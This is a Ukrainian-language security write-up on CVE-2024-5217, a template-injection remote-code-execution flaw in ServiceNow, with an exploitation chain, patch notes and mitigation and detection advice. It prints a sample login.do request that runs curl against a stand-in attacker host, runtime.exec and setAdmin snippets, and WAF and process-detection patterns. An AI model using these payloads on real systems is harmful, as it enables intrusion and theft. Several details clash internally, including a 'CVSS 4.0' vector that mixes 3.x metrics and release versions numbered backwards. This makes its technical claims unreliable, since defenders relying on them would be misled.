CVE-2024-5217: критична RCE-вразливість у ServiceNow
У червні 2024 року компанія ServiceNow розкрила CVE-2024-5217, критичну вразливість віддаленого виконання коду (RCE), що вражає її платформу Now Platform. Зі значенням CVSS 9,8 (критичний), ця вада наразила тисячі підприємств на несанкціоноване захоплення систем, витоки даних та атаки на ланцюг постачання. У цій статті розібрано технічне підґрунтя вразливості, механіку її експлуатації та стратегії усунення.
Показники CVSS 4.0:
- Базова оцінка: 9.8 (AV:N /AC:L /AT:N /PR:N /UI:N /S:C /C:H /I:H /A:H )
- Експлуатованість: Готові до застосування PoC-експлойти зафіксовано протягом 72 годин після розкриття.
- Складність пом’якшення: Потребує оновлень на рівні інстансу та змін конфігурації.
Технічна анатомія вразливості
Першопричина: ін’єкція скриптів Glide Expression
Вразливість виникає у скриптовому фреймворку Glide Expression від ServiceNow — ключовому компоненті для динамічного рендерингу елементів інтерфейсу та автоматизації бізнес-логіки. Зокрема, клас GlideExpressionScript, що відповідає за обробку введених користувачем даних у шаблонах Jelly, не зміг очистити параметр jvar_page_title, переданий у кінцеву точку /login.do. Зловмисники скористалися цим недоглядом, щоб впровадити шкідливий код Java Expression Language (JEXL) або JavaScript, який платформа виконувала під час рендерингу на боці сервера.
Ключові вразливі компоненти:
- Шаблонізатор Jelly: ServiceNow використовує Jelly (скриптову мову на основі XML) для генерації динамічного HTML. Введені користувачем дані, вбудовані в теги Jelly (наприклад,
<j:set>,<j:if>), не очищалися належним чином. - Інтерпретатор JEXL: JEXL, легка мова виразів, не має вбудованої пісочниці. Зловмисники скористалися цим, щоб виконувати довільний код Java, зокрема виклики
java.lang.Runtimeдля RCE.
Процес експлуатації
Покроковий ланцюг атаки
- Створення корисного навантаження:
Зловмисники формують HTTP POST-запит до кінцевої точки/login.do, вбудовуючи шкідливе навантаження в параметрjvar_page_title.
Приклад:
http
Копіювати
POST /login.do HTTP/1.1 Host: <target> Content-Type: application/x-www-form-urlencoded ... jvar_page_title=javascript:new java.lang.ProcessBuilder("curl","attacker.com/shell.sh").start();
- Виконання на боці сервера:
- Рушій Jelly від ServiceNow обробляє значення
jvar_page_titleпід час рендерингу UI. - Впроваджений код обходить перевірки валідації вхідних даних, використовуючи брак контекстно-залежного очищення в Jelly та JEXL.
- Рушій Jelly від ServiceNow обробляє значення
- Виконання довільного коду:
Корисне навантаження виконується з привілеями інстансу ServiceNow, уможливлюючи такі дії, як:- Створення зворотних оболонок (reverse shell) на серверах, підконтрольних зловмиснику.
- Зміна записів у базі даних (наприклад, надання прав адміністратора через
gs.getUser().setAdmin(true)). - Викрадення конфіденційних даних із таблиць
sys_userабоcmdb_ci.
Чому традиційні засоби захисту не спрацювали
- Обхід WAF: Зловмисники обфускували корисне навантаження за допомогою URL-кодування або синтаксису виразів JEXL (наприклад,
${runtime.exec("whoami")}). - Відсутність пісочниці: Архітектура JEXL дозволяє прямий доступ до класів Java, оминаючи обмеження рушія скриптів ServiceNow.
Наслідки та реальна експлуатація
Ризики ланцюга постачання
Інтеграції ServiceNow зі сторонніми інструментами (наприклад, SAP, Salesforce) дозволяли зловмисникам переходити до підключених систем, збільшуючи радіус ураження від зламів.
Уражені версії та встановлення патчів
Вразливі випуски
- Utah: Усі версії до Patch 10 Hot Fix 3 (v14.1.3).
- Vancouver: Усі версії до Patch 6 Hot Fix 2 (v13.2.2).
- Washington DC: Усі версії до Patch 1 Hot Fix 3b (v12.1.3b).
Реалізація патчів
ServiceNow випустила патчі, які:
- Очищення вхідних даних: запроваджено сувору валідацію
jvar_page_titleта інших параметрів за допомогоюGlideSecureStringUtil. - Вимкнення небезпечних функцій: обмежено доступ JEXL до високоризикових класів Java (наприклад,
Runtime,ProcessBuilder). - Розширене журналювання: додано журнали аудиту для виконання скриптів Jelly, щоб виявляти спроби ін’єкцій.
Стратегії пом’якшення, окрім встановлення патчів
Негайні дії
- Сегментація мережі:
- Обмежте доступ до кінцевих точок
/login.doта/uiза допомогою WAF (наприклад, правилами, що блокують запити зjava.lang.Runtime). - Ізолюйте інстанси ServiceNow, які обробляють конфіденційні дані, від загальних корпоративних мереж.
- Обмежте доступ до кінцевих точок
- Посилення вхідних даних:
- Застосуйте оновлення Content Security Policy (CSP) від ServiceNow, щоб блокувати вбудовані скрипти.
- Використовуйте фільтри регулярних виразів, щоб відхиляти параметри із синтаксисом JEXL/JavaScript.
Складніші методи виявлення
- Поведінковий моніторинг:
- Сповіщайте про незвичні запити
GlideRecord(наприклад, масовий доступ до таблицьsys_user). - Позначайте процеси, що запускаються з інстансу ServiceNow (наприклад,
cmd.exe,bash).
- Сповіщайте про незвичні запити
- Криміналістичний аналіз:
- Перевіряйте журнали виконання скриптів Jelly на наявність шаблонів на кшталт
${}абоjavascript:у параметрах. - Використовуйте IntegrationHub від ServiceNow для аудиту робочих процесів Flow Designer на предмет несанкціонованих змін.
- Перевіряйте журнали виконання скриптів Jelly на наявність шаблонів на кшталт
Уроки для безпечної low-code розробки
- Контекстно-залежне очищення:
Валідація вхідних даних має враховувати контекст виконання (наприклад, HTML, Java чи JavaScript). - Пісочниця для рушіїв виразів:
Забороняйте скриптовим мовам (наприклад, JEXL) доступ до нативних класів Java, окрім явно дозволених випадків. - Zero-Trust для API:
Вважайте всі введені користувачем дані ненадійними, навіть в автентифікованих робочих процесах.
Висновок
CVE-2024-5217 — яскраве нагадування про ризики, притаманні рушіям скриптів low-code платформ. Її експлуатація показує, як єдиний неочищений параметр може скомпрометувати цілу корпоративну екосистему. Хоча встановлення патчів є терміновим, довгострокова стійкість потребує зміни парадигми: інтегрувати безпеку в дизайн мов виразів, забезпечувати сувору валідацію вхідних даних і застосовувати принципи zero-trust для SaaS-платформ.
Щоб отримувати актуальні оновлення, стежте за бюлетенем безпеки ServiceNow: KB1648313: бюлетень безпеки CVE-2024-5217.
